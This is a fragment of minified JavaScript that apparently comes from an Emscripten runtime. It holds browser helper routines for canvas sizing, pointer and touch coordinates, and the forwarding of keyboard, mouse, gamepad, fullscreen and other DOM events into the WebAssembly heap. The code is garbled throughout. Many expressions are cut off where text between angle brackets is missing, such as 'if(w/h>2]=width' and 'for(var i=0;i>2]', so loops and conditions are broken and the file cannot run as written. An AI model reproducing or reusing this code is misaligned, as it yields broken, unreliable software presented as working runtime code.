Browser.requestAnimationFrame((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}else{Browser.queuedAsyncCallbacks.push(func)}}))}),safeSetTimeout:(function(func,timeout){Module["noExitRuntime"]=true;return setTimeout((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}else{Browser.queuedAsyncCallbacks.push(func)}}),timeout)}),safeSetInterval:(function(func,timeout){Module["noExitRuntime"]=true;return setInterval((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}}),timeout)}),getMimetype:(function(name){return{"jpg":"image/jpeg","jpeg":"image/jpeg","png":"image/png","bmp":"image/bmp","ogg":"audio/ogg","wav":"audio/wav","mp3":"audio/mpeg"}[name.substr(name.lastIndexOf(".")+1)]}),getUserMedia:(function(func){if(!window.getUserMedia){window.getUserMedia=navigator["getUserMedia"]||navigator["mozGetUserMedia"]}window.getUserMedia(func)}),getMovementX:(function(event){return event["movementX"]||event["mozMovementX"]||event["webkitMovementX"]||0}),getMovementY:(function(event){return event["movementY"]||event["mozMovementY"]||event["webkitMovementY"]||0}),getMouseWheelDelta:(function(event){var delta=0;switch(event.type){case"DOMMouseScroll":delta=event.detail;break;case"mousewheel":delta=event.wheelDelta;break;case"wheel":delta=event["deltaY"];break;default:throw"unrecognized mouse wheel event: "+event.type}return delta}),mouseX:0,mouseY:0,mouseMovementX:0,mouseMovementY:0,touches:{},lastTouches:{},calculateMouseEvent:(function(event){if(Browser.pointerLock){if(event.type!="mousemove"&&"mozMovementX"in event){Browser.mouseMovementX=Browser.mouseMovementY=0}else{Browser.mouseMovementX=Browser.getMovementX(event);Browser.mouseMovementY=Browser.getMovementY(event)}if(typeof SDL!="undefined"){Browser.mouseX=SDL.mouseX+Browser.mouseMovementX;Browser.mouseY=SDL.mouseY+Browser.mouseMovementY}else{Browser.mouseX+=Browser.mouseMovementX;Browser.mouseY+=Browser.mouseMovementY}}else{var rect=Module["canvas"].getBoundingClientRect();var cw=Module["canvas"].width;var ch=Module["canvas"].height;var scrollX=typeof window.scrollX!=="undefined"?window.scrollX:window.pageXOffset;var scrollY=typeof window.scrollY!=="undefined"?window.scrollY:window.pageYOffset;if(event.type==="touchstart"||event.type==="touchend"||event.type==="touchmove"){var touch=event.touch;if(touch===undefined){return}var adjustedX=touch.pageX-(scrollX+rect.left);var adjustedY=touch.pageY-(scrollY+rect.top);adjustedX=adjustedX*(cw/rect.width);adjustedY=adjustedY*(ch/rect.height);var coords={x:adjustedX,y:adjustedY};if(event.type==="touchstart"){Browser.lastTouches[touch.identifier]=coords;Browser.touches[touch.identifier]=coords}else if(event.type==="touchend"||event.type==="touchmove"){var last=Browser.touches[touch.identifier];if(!last)last=coords;Browser.lastTouches[touch.identifier]=last;Browser.touches[touch.identifier]=coords}return}var x=event.pageX-(scrollX+rect.left);var y=event.pageY-(scrollY+rect.top);x=x*(cw/rect.width);y=y*(ch/rect.height);Browser.mouseMovementX=x-Browser.mouseX;Browser.mouseMovementY=y-Browser.mouseY;Browser.mouseX=x;Browser.mouseY=y}}),asyncLoad:(function(url,onload,onerror,noRunDep){var dep=!noRunDep?getUniqueRunDependency("al "+url):"";Module["readAsync"](url,(function(arrayBuffer){assert(arrayBuffer,'Loading data file "'+url+'" failed (no arrayBuffer).');onload(new Uint8Array(arrayBuffer));if(dep)removeRunDependency(dep)}),(function(event){if(onerror){onerror()}else{throw'Loading data file "'+url+'" failed.'}}));if(dep)addRunDependency(dep)}),resizeListeners:[],updateResizeListeners:(function(){var canvas=Module["canvas"];Browser.resizeListeners.forEach((function(listener){listener(canvas.width,canvas.height)}))}),setCanvasSize:(function(width,height,noUpdates){var canvas=Module["canvas"];Browser.updateCanvasDimensions(canvas,width,height);if(!noUpdates)Browser.updateResizeListeners()}),windowedWidth:0,windowedHeight:0,setFullscreenCanvasSize:(function(){if(typeof SDL!="undefined"){var flags=HEAPU32[SDL.screen>>2];flags=flags|8388608;HEAP32[SDL.screen>>2]=flags}Browser.updateCanvasDimensions(Module["canvas"]);Browser.updateResizeListeners()}),setWindowedCanvasSize:(function(){if(typeof SDL!="undefined"){var flags=HEAPU32[SDL.screen>>2];flags=flags&~8388608;HEAP32[SDL.screen>>2]=flags}Browser.updateCanvasDimensions(Module["canvas"]);Browser.updateResizeListeners()}),updateCanvasDimensions:(function(canvas,wNative,hNative){if(wNative&&hNative){canvas.widthNative=wNative;canvas.heightNative=hNative}else{wNative=canvas.widthNative;hNative=canvas.heightNative}var w=wNative;var h=hNative;if(Module["forcedAspectRatio"]&&Module["forcedAspectRatio"]>0){if(w/h>2]=width;HEAP32[canvas.canvasSharedPtr+4>>2]=height}if(canvas.offscreenCanvas||!canvas.controlTransferredOffscreen){if(canvas.offscreenCanvas)canvas=canvas.offscreenCanvas;var autoResizeViewport=false;if(canvas.GLctxObject&&canvas.GLctxObject.GLctx){var prevViewport=canvas.GLctxObject.GLctx.getParameter(canvas.GLctxObject.GLctx.VIEWPORT);autoResizeViewport=prevViewport[0]===0&&prevViewport[1]===0&&prevViewport[2]===canvas.width&&prevViewport[3]===canvas.height}canvas.width=width;canvas.height=height;if(autoResizeViewport){canvas.GLctxObject.GLctx.viewport(0,0,width,height)}}else{return-4}return 0}function _emscripten_set_canvas_element_size_main_thread(target,width,height){return _emscripten_set_canvas_element_size_calling_thread(target,width,height)}function _emscripten_set_canvas_element_size(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(canvas)return _emscripten_set_canvas_element_size_calling_thread(target,width,height);else return _emscripten_set_canvas_element_size_main_thread(target,width,height)}function emscripten_set_canvas_element_size_js(target,width,height){if(typeof target==="string"){var stackTop=stackSave();var targetInt=stackAlloc(target.length+1);stringToUTF8(target,targetInt,target.length+1);var ret=_emscripten_set_canvas_element_size(targetInt,width,height);stackRestore(stackTop);return ret}else{return _emscripten_set_canvas_element_size(target,width,height)}}function _emscripten_get_canvas_element_size_calling_thread(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(!canvas)return-4;if(canvas.canvasSharedPtr){var w=HEAP32[canvas.canvasSharedPtr>>2];var h=HEAP32[canvas.canvasSharedPtr+4>>2];HEAP32[width>>2]=w;HEAP32[height>>2]=h}else if(canvas.offscreenCanvas){HEAP32[width>>2]=canvas.offscreenCanvas.width;HEAP32[height>>2]=canvas.offscreenCanvas.height}else if(!canvas.controlTransferredOffscreen){HEAP32[width>>2]=canvas.width;HEAP32[height>>2]=canvas.height}else{return-4}return 0}function _emscripten_get_canvas_element_size_main_thread(target,width,height){return _emscripten_get_canvas_element_size_calling_thread(target,width,height)}function _emscripten_get_canvas_element_size(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(canvas)return _emscripten_get_canvas_element_size_calling_thread(target,width,height);else return _emscripten_get_canvas_element_size_main_thread(target,width,height)}function emscripten_get_canvas_element_size_js(target){var stackTop=stackSave();var w=stackAlloc(8);var h=w+4;if(typeof target==="string"){var targetInt=stackAlloc(target.length+1);stringToUTF8(target,targetInt,target.length+1);target=targetInt}var ret=_emscripten_get_canvas_element_size(target,w,h);var size=[HEAP32[w>>2],HEAP32[h>>2]];stackRestore(stackTop);return size}var JSEvents={keyEvent:0,mouseEvent:0,wheelEvent:0,uiEvent:0,focusEvent:0,deviceOrientationEvent:0,deviceMotionEvent:0,fullscreenChangeEvent:0,pointerlockChangeEvent:0,visibilityChangeEvent:0,touchEvent:0,lastGamepadState:null,lastGamepadStateFrame:null,numGamepadsConnected:0,previousFullscreenElement:null,previousScreenX:null,previousScreenY:null,removeEventListenersRegistered:false,_onGamepadConnected:(function(){++JSEvents.numGamepadsConnected}),_onGamepadDisconnected:(function(){--JSEvents.numGamepadsConnected}),staticInit:(function(){if(typeof window!=="undefined"){window.addEventListener("gamepadconnected",JSEvents._onGamepadConnected);window.addEventListener("gamepaddisconnected",JSEvents._onGamepadDisconnected);var firstState=navigator.getGamepads?navigator.getGamepads():navigator.webkitGetGamepads?navigator.webkitGetGamepads():null;if(firstState){JSEvents.numGamepadsConnected=firstState.length}}}),removeAllEventListeners:(function(){for(var i=JSEvents.eventHandlers.length-1;i>=0;--i){JSEvents._removeHandler(i)}JSEvents.eventHandlers=[];JSEvents.deferredCalls=[];window.removeEventListener("gamepadconnected",JSEvents._onGamepadConnected);window.removeEventListener("gamepaddisconnected",JSEvents._onGamepadDisconnected)}),registerRemoveEventListeners:(function(){if(!JSEvents.removeEventListenersRegistered){__ATEXIT__.push(JSEvents.removeAllEventListeners);JSEvents.removeEventListenersRegistered=true}}),findEventTarget:(function(target){try{if(!target)return window;if(typeof target==="number")target=Pointer_stringify(target);if(target==="#window")return window;else if(target==="#document")return document;else if(target==="#screen")return window.screen;else if(target==="#canvas")return Module["canvas"];return typeof target==="string"?document.getElementById(target):target}catch(e){return null}}),findCanvasEventTarget:(function(target){if(typeof target==="number")target=Pointer_stringify(target);if(!target||target==="#canvas"){if(typeof GL!=="undefined"&&GL.offscreenCanvases["canvas"])return GL.offscreenCanvases["canvas"];return Module["canvas"]}if(typeof GL!=="undefined"&&GL.offscreenCanvases[target])return GL.offscreenCanvases[target];return JSEvents.findEventTarget(target)}),deferredCalls:[],deferCall:(function(targetFunction,precedence,argsList){function arraysHaveEqualContent(arrA,arrB){if(arrA.length!=arrB.length)return false;for(var i in arrA){if(arrA[i]!=arrB[i])return false}return true}for(var i in JSEvents.deferredCalls){var call=JSEvents.deferredCalls[i];if(call.targetFunction==targetFunction&&arraysHaveEqualContent(call.argsList,argsList)){return}}JSEvents.deferredCalls.push({targetFunction:targetFunction,precedence:precedence,argsList:argsList});JSEvents.deferredCalls.sort((function(x,y){return x.precedence0}),removeAllHandlersOnTarget:(function(target,eventTypeString){for(var i=0;i>2]=e.location;HEAP32[keyEventData+68>>2]=e.ctrlKey;HEAP32[keyEventData+72>>2]=e.shiftKey;HEAP32[keyEventData+76>>2]=e.altKey;HEAP32[keyEventData+80>>2]=e.metaKey;HEAP32[keyEventData+84>>2]=e.repeat;stringToUTF8(e.locale?e.locale:"",keyEventData+88,32);stringToUTF8(e.char?e.char:"",keyEventData+120,32);HEAP32[keyEventData+152>>2]=e.charCode;HEAP32[keyEventData+156>>2]=e.keyCode;HEAP32[keyEventData+160>>2]=e.which;if(Module["dynCall_iiii"](callbackfunc,eventTypeId,keyEventData,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:JSEvents.isInternetExplorer()?false:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:keyEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),getBoundingClientRectOrZeros:(function(target){return target.getBoundingClientRect?target.getBoundingClientRect():{left:0,top:0}}),fillMouseEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAP32[eventStruct+8>>2]=e.screenX;HEAP32[eventStruct+12>>2]=e.screenY;HEAP32[eventStruct+16>>2]=e.clientX;HEAP32[eventStruct+20>>2]=e.clientY;HEAP32[eventStruct+24>>2]=e.ctrlKey;HEAP32[eventStruct+28>>2]=e.shiftKey;HEAP32[eventStruct+32>>2]=e.altKey;HEAP32[eventStruct+36>>2]=e.metaKey;HEAP16[eventStruct+40>>1]=e.button;HEAP16[eventStruct+42>>1]=e.buttons;HEAP32[eventStruct+44>>2]=e["movementX"]||e["mozMovementX"]||e["webkitMovementX"]||e.screenX-JSEvents.previousScreenX;HEAP32[eventStruct+48>>2]=e["movementY"]||e["mozMovementY"]||e["webkitMovementY"]||e.screenY-JSEvents.previousScreenY;if(Module["canvas"]){var rect=Module["canvas"].getBoundingClientRect();HEAP32[eventStruct+60>>2]=e.clientX-rect.left;HEAP32[eventStruct+64>>2]=e.clientY-rect.top}else{HEAP32[eventStruct+60>>2]=0;HEAP32[eventStruct+64>>2]=0}if(target){var rect=JSEvents.getBoundingClientRectOrZeros(target);HEAP32[eventStruct+52>>2]=e.clientX-rect.left;HEAP32[eventStruct+56>>2]=e.clientY-rect.top}else{HEAP32[eventStruct+52>>2]=0;HEAP32[eventStruct+56>>2]=0}if(e.type!=="wheel"&&e.type!=="mousewheel"){JSEvents.previousScreenX=e.screenX;JSEvents.previousScreenY=e.screenY}}),registerMouseEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.mouseEvent)JSEvents.mouseEvent=_malloc(72);target=JSEvents.findEventTarget(target);var mouseEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillMouseEventData(JSEvents.mouseEvent,e,target);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,JSEvents.mouseEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:eventTypeString!="mousemove"&&eventTypeString!="mouseenter"&&eventTypeString!="mouseleave",eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:mouseEventHandlerFunc,useCapture:useCapture};if(JSEvents.isInternetExplorer()&&eventTypeString=="mousedown")eventHandler.allowsDeferredCalls=false;JSEvents.registerOrRemoveHandler(eventHandler)}),registerWheelEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.wheelEvent)JSEvents.wheelEvent=_malloc(104);target=JSEvents.findEventTarget(target);var wheelHandlerFunc=(function(event){var e=event||window.event;var wheelEvent=JSEvents.wheelEvent;JSEvents.fillMouseEventData(wheelEvent,e,target);HEAPF64[wheelEvent+72>>3]=e["deltaX"];HEAPF64[wheelEvent+80>>3]=e["deltaY"];HEAPF64[wheelEvent+88>>3]=e["deltaZ"];HEAP32[wheelEvent+96>>2]=e["deltaMode"];if(Module["dynCall_iiii"](callbackfunc,eventTypeId,wheelEvent,userData))e.preventDefault()});var mouseWheelHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillMouseEventData(JSEvents.wheelEvent,e,target);HEAPF64[JSEvents.wheelEvent+72>>3]=e["wheelDeltaX"]||0;HEAPF64[JSEvents.wheelEvent+80>>3]=-(e["wheelDeltaY"]?e["wheelDeltaY"]:e["wheelDelta"]);HEAPF64[JSEvents.wheelEvent+88>>3]=0;HEAP32[JSEvents.wheelEvent+96>>2]=0;var shouldCancel=Module["dynCall_iiii"](callbackfunc,eventTypeId,JSEvents.wheelEvent,userData);if(shouldCancel){e.preventDefault()}});var eventHandler={target:target,allowsDeferredCalls:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:eventTypeString=="wheel"?wheelHandlerFunc:mouseWheelHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),pageScrollPos:(function(){if(window.pageXOffset>0||window.pageYOffset>0){return[window.pageXOffset,window.pageYOffset]}if(typeof document.documentElement.scrollLeft!=="undefined"||typeof document.documentElement.scrollTop!=="undefined"){return[document.documentElement.scrollLeft,document.documentElement.scrollTop]}return[document.body.scrollLeft|0,document.body.scrollTop|0]}),registerUiEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.uiEvent)JSEvents.uiEvent=_malloc(36);if(eventTypeString=="scroll"&&!target){target=document}else{target=JSEvents.findEventTarget(target)}var uiEventHandlerFunc=(function(event){var e=event||window.event;if(e.target!=target){return}var scrollPos=JSEvents.pageScrollPos();var uiEvent=JSEvents.uiEvent;HEAP32[uiEvent>>2]=e.detail;HEAP32[uiEvent+4>>2]=document.body.clientWidth;HEAP32[uiEvent+8>>2]=document.body.clientHeight;HEAP32[uiEvent+12>>2]=window.innerWidth;HEAP32[uiEvent+16>>2]=window.innerHeight;HEAP32[uiEvent+20>>2]=window.outerWidth;HEAP32[uiEvent+24>>2]=window.outerHeight;HEAP32[uiEvent+28>>2]=scrollPos[0];HEAP32[uiEvent+32>>2]=scrollPos[1];if(Module["dynCall_iiii"](callbackfunc,eventTypeId,uiEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:uiEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),getNodeNameForTarget:(function(target){if(!target)return"";if(target==window)return"#window";if(target==window.screen)return"#screen";return target&&target.nodeName?target.nodeName:""}),registerFocusEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.focusEvent)JSEvents.focusEvent=_malloc(256);var focusEventHandlerFunc=(function(event){var e=event||window.event;var nodeName=JSEvents.getNodeNameForTarget(e.target);var id=e.target.id?e.target.id:"";var focusEvent=JSEvents.focusEvent;stringToUTF8(nodeName,focusEvent+0,128);stringToUTF8(id,focusEvent+128,128);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,focusEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:focusEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),tick:(function(){if(window["performance"]&&window["performance"]["now"])return window["performance"]["now"]();else return Date.now()}),fillDeviceOrientationEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAPF64[eventStruct+8>>3]=e.alpha;HEAPF64[eventStruct+16>>3]=e.beta;HEAPF64[eventStruct+24>>3]=e.gamma;HEAP32[eventStruct+32>>2]=e.absolute}),registerDeviceOrientationEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.deviceOrientationEvent)JSEvents.deviceOrientationEvent=_malloc(40);var deviceOrientationEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillDeviceOrientationEventData(JSEvents.deviceOrientationEvent,e,target);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,JSEvents.deviceOrientationEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:deviceOrientationEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fillDeviceMotionEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAPF64[eventStruct+8>>3]=e.acceleration.x;HEAPF64[eventStruct+16>>3]=e.acceleration.y;HEAPF64[eventStruct+24>>3]=e.acceleration.z;HEAPF64[eventStruct+32>>3]=e.accelerationIncludingGravity.x;HEAPF64[eventStruct+40>>3]=e.accelerationIncludingGravity.y;HEAPF64[eventStruct+48>>3]=e.accelerationIncludingGravity.z;HEAPF64[eventStruct+56>>3]=e.rotationRate.alpha;HEAPF64[eventStruct+64>>3]=e.rotationRate.beta;HEAPF64[eventStruct+72>>3]=e.rotationRate.gamma}),registerDeviceMotionEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.deviceMotionEvent)JSEvents.deviceMotionEvent=_malloc(80);var deviceMotionEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillDeviceMotionEventData(JSEvents.deviceMotionEvent,e,target);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,JSEvents.deviceMotionEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:deviceMotionEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),screenOrientation:(function(){if(!window.screen)return undefined;return window.screen.orientation||window.screen.mozOrientation||window.screen.webkitOrientation||window.screen.msOrientation}),fillOrientationChangeEventData:(function(eventStruct,e){var orientations=["portrait-primary","portrait-secondary","landscape-primary","landscape-secondary"];var orientations2=["portrait","portrait","landscape","landscape"];var orientationString=JSEvents.screenOrientation();var orientation=orientations.indexOf(orientationString);if(orientation==-1){orientation=orientations2.indexOf(orientationString)}HEAP32[eventStruct>>2]=1<>2]=window.orientation}),registerOrientationChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.orientationChangeEvent)JSEvents.orientationChangeEvent=_malloc(8);if(!target){target=window.screen}else{target=JSEvents.findEventTarget(target)}var orientationChangeEventHandlerFunc=(function(event){var e=event||window.event;var orientationChangeEvent=JSEvents.orientationChangeEvent;JSEvents.fillOrientationChangeEventData(orientationChangeEvent,e);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,orientationChangeEvent,userData))e.preventDefault()});if(eventTypeString=="orientationchange"&&window.screen.mozOrientation!==undefined){eventTypeString="mozorientationchange"}var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:orientationChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fullscreenEnabled:(function(){return document.fullscreenEnabled||document.mozFullScreenEnabled||document.webkitFullscreenEnabled||document.msFullscreenEnabled}),fillFullscreenChangeEventData:(function(eventStruct,e){var fullscreenElement=document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement||document.msFullscreenElement;var isFullscreen=!!fullscreenElement;HEAP32[eventStruct>>2]=isFullscreen;HEAP32[eventStruct+4>>2]=JSEvents.fullscreenEnabled();var reportedElement=isFullscreen?fullscreenElement:JSEvents.previousFullscreenElement;var nodeName=JSEvents.getNodeNameForTarget(reportedElement);var id=reportedElement&&reportedElement.id?reportedElement.id:"";stringToUTF8(nodeName,eventStruct+8,128);stringToUTF8(id,eventStruct+136,128);HEAP32[eventStruct+264>>2]=reportedElement?reportedElement.clientWidth:0;HEAP32[eventStruct+268>>2]=reportedElement?reportedElement.clientHeight:0;HEAP32[eventStruct+272>>2]=screen.width;HEAP32[eventStruct+276>>2]=screen.height;if(isFullscreen){JSEvents.previousFullscreenElement=fullscreenElement}}),registerFullscreenChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.fullscreenChangeEvent)JSEvents.fullscreenChangeEvent=_malloc(280);if(!target)target=document;else target=JSEvents.findEventTarget(target);var fullscreenChangeEventhandlerFunc=(function(event){var e=event||window.event;var fullscreenChangeEvent=JSEvents.fullscreenChangeEvent;JSEvents.fillFullscreenChangeEventData(fullscreenChangeEvent,e);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,fullscreenChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:fullscreenChangeEventhandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),resizeCanvasForFullscreen:(function(target,strategy){var restoreOldStyle=__registerRestoreOldStyle(target);var cssWidth=strategy.softFullscreen?window.innerWidth:screen.width;var cssHeight=strategy.softFullscreen?window.innerHeight:screen.height;var rect=target.getBoundingClientRect();var windowedCssWidth=rect.right-rect.left;var windowedCssHeight=rect.bottom-rect.top;var canvasSize=emscripten_get_canvas_element_size_js(target.id);var windowedRttWidth=canvasSize[0];var windowedRttHeight=canvasSize[1];if(strategy.scaleMode==3){__setLetterbox(target,(cssHeight-windowedCssHeight)/2,(cssWidth-windowedCssWidth)/2);cssWidth=windowedCssWidth;cssHeight=windowedCssHeight}else if(strategy.scaleMode==2){if(cssWidth*windowedRttHeight>2]=isPointerlocked;var nodeName=JSEvents.getNodeNameForTarget(pointerLockElement);var id=pointerLockElement&&pointerLockElement.id?pointerLockElement.id:"";stringToUTF8(nodeName,eventStruct+4,128);stringToUTF8(id,eventStruct+132,128)}),registerPointerlockChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.pointerlockChangeEvent)JSEvents.pointerlockChangeEvent=_malloc(260);if(!target)target=document;else target=JSEvents.findEventTarget(target);var pointerlockChangeEventHandlerFunc=(function(event){var e=event||window.event;var pointerlockChangeEvent=JSEvents.pointerlockChangeEvent;JSEvents.fillPointerlockChangeEventData(pointerlockChangeEvent,e);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,pointerlockChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:pointerlockChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerPointerlockErrorEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString){if(!target)target=document;else target=JSEvents.findEventTarget(target);var pointerlockErrorEventHandlerFunc=(function(event){var e=event||window.event;if(Module["dynCall_iiii"](callbackfunc,eventTypeId,0,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:pointerlockErrorEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),requestPointerLock:(function(target){if(target.requestPointerLock){target.requestPointerLock()}else if(target.mozRequestPointerLock){target.mozRequestPointerLock()}else if(target.webkitRequestPointerLock){target.webkitRequestPointerLock()}else if(target.msRequestPointerLock){target.msRequestPointerLock()}else{if(document.body.requestPointerLock||document.body.mozRequestPointerLock||document.body.webkitRequestPointerLock||document.body.msRequestPointerLock){return-3}else{return-1}}return 0}),fillVisibilityChangeEventData:(function(eventStruct,e){var visibilityStates=["hidden","visible","prerender","unloaded"];var visibilityState=visibilityStates.indexOf(document.visibilityState);HEAP32[eventStruct>>2]=document.hidden;HEAP32[eventStruct+4>>2]=visibilityState}),registerVisibilityChangeEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.visibilityChangeEvent)JSEvents.visibilityChangeEvent=_malloc(8);if(!target)target=document;else target=JSEvents.findEventTarget(target);var visibilityChangeEventHandlerFunc=(function(event){var e=event||window.event;var visibilityChangeEvent=JSEvents.visibilityChangeEvent;JSEvents.fillVisibilityChangeEventData(visibilityChangeEvent,e);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,visibilityChangeEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:visibilityChangeEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerTouchEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.touchEvent)JSEvents.touchEvent=_malloc(1684);target=JSEvents.findEventTarget(target);var touchEventHandlerFunc=(function(event){var e=event||window.event;var touches={};for(var i=0;i>2]=e.ctrlKey;HEAP32[ptr+8>>2]=e.shiftKey;HEAP32[ptr+12>>2]=e.altKey;HEAP32[ptr+16>>2]=e.metaKey;ptr+=20;var canvasRect=Module["canvas"]?Module["canvas"].getBoundingClientRect():undefined;var targetRect=JSEvents.getBoundingClientRectOrZeros(target);var numTouches=0;for(var i in touches){var t=touches[i];HEAP32[ptr>>2]=t.identifier;HEAP32[ptr+4>>2]=t.screenX;HEAP32[ptr+8>>2]=t.screenY;HEAP32[ptr+12>>2]=t.clientX;HEAP32[ptr+16>>2]=t.clientY;HEAP32[ptr+20>>2]=t.pageX;HEAP32[ptr+24>>2]=t.pageY;HEAP32[ptr+28>>2]=t.changed;HEAP32[ptr+32>>2]=t.onTarget;if(canvasRect){HEAP32[ptr+44>>2]=t.clientX-canvasRect.left;HEAP32[ptr+48>>2]=t.clientY-canvasRect.top}else{HEAP32[ptr+44>>2]=0;HEAP32[ptr+48>>2]=0}HEAP32[ptr+36>>2]=t.clientX-targetRect.left;HEAP32[ptr+40>>2]=t.clientY-targetRect.top;ptr+=52;if(++numTouches>=32){break}}HEAP32[touchEvent>>2]=numTouches;if(Module["dynCall_iiii"](callbackfunc,eventTypeId,touchEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:eventTypeString=="touchstart"||eventTypeString=="touchend",eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:touchEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),fillGamepadEventData:(function(eventStruct,e){HEAPF64[eventStruct>>3]=e.timestamp;for(var i=0;i>3]=e.axes[i]}for(var i=0;i>3]=e.buttons[i].value}else{HEAPF64[eventStruct+i*8+528>>3]=e.buttons[i]}}for(var i=0;i>2]=e.buttons[i].pressed}else{HEAP32[eventStruct+i*4+1040>>2]=e.buttons[i]==1}}HEAP32[eventStruct+1296>>2]=e.connected;HEAP32[eventStruct+1300>>2]=e.index;HEAP32[eventStruct+8>>2]=e.axes.length;HEAP32[eventStruct+12>>2]=e.buttons.length;stringToUTF8(e.id,eventStruct+1304,64);stringToUTF8(e.mapping,eventStruct+1368,64)}),registerGamepadEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.gamepadEvent)JSEvents.gamepadEvent=_malloc(1432);var gamepadEventHandlerFunc=(function(event){var e=event||window.event;var gamepadEvent=JSEvents.gamepadEvent;JSEvents.fillGamepadEventData(gamepadEvent,e.gamepad);if(Module["dynCall_iiii"](callbackfunc,eventTypeId,gamepadEvent,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:gamepadEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),registerBeforeUnloadEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString){var beforeUnloadEventHandlerFunc=(function(event){var e=event||window.event;var confirmationMessage=Module["dynCall_iiii"](callbackfunc,eventTypeId,0,userData);if(confirmationMessage){confirmationMessage=Pointer_stringify(confirmationMessage)}if(confirmationMessage){e.preventDefault();e.returnValue=confirmationMessage;return 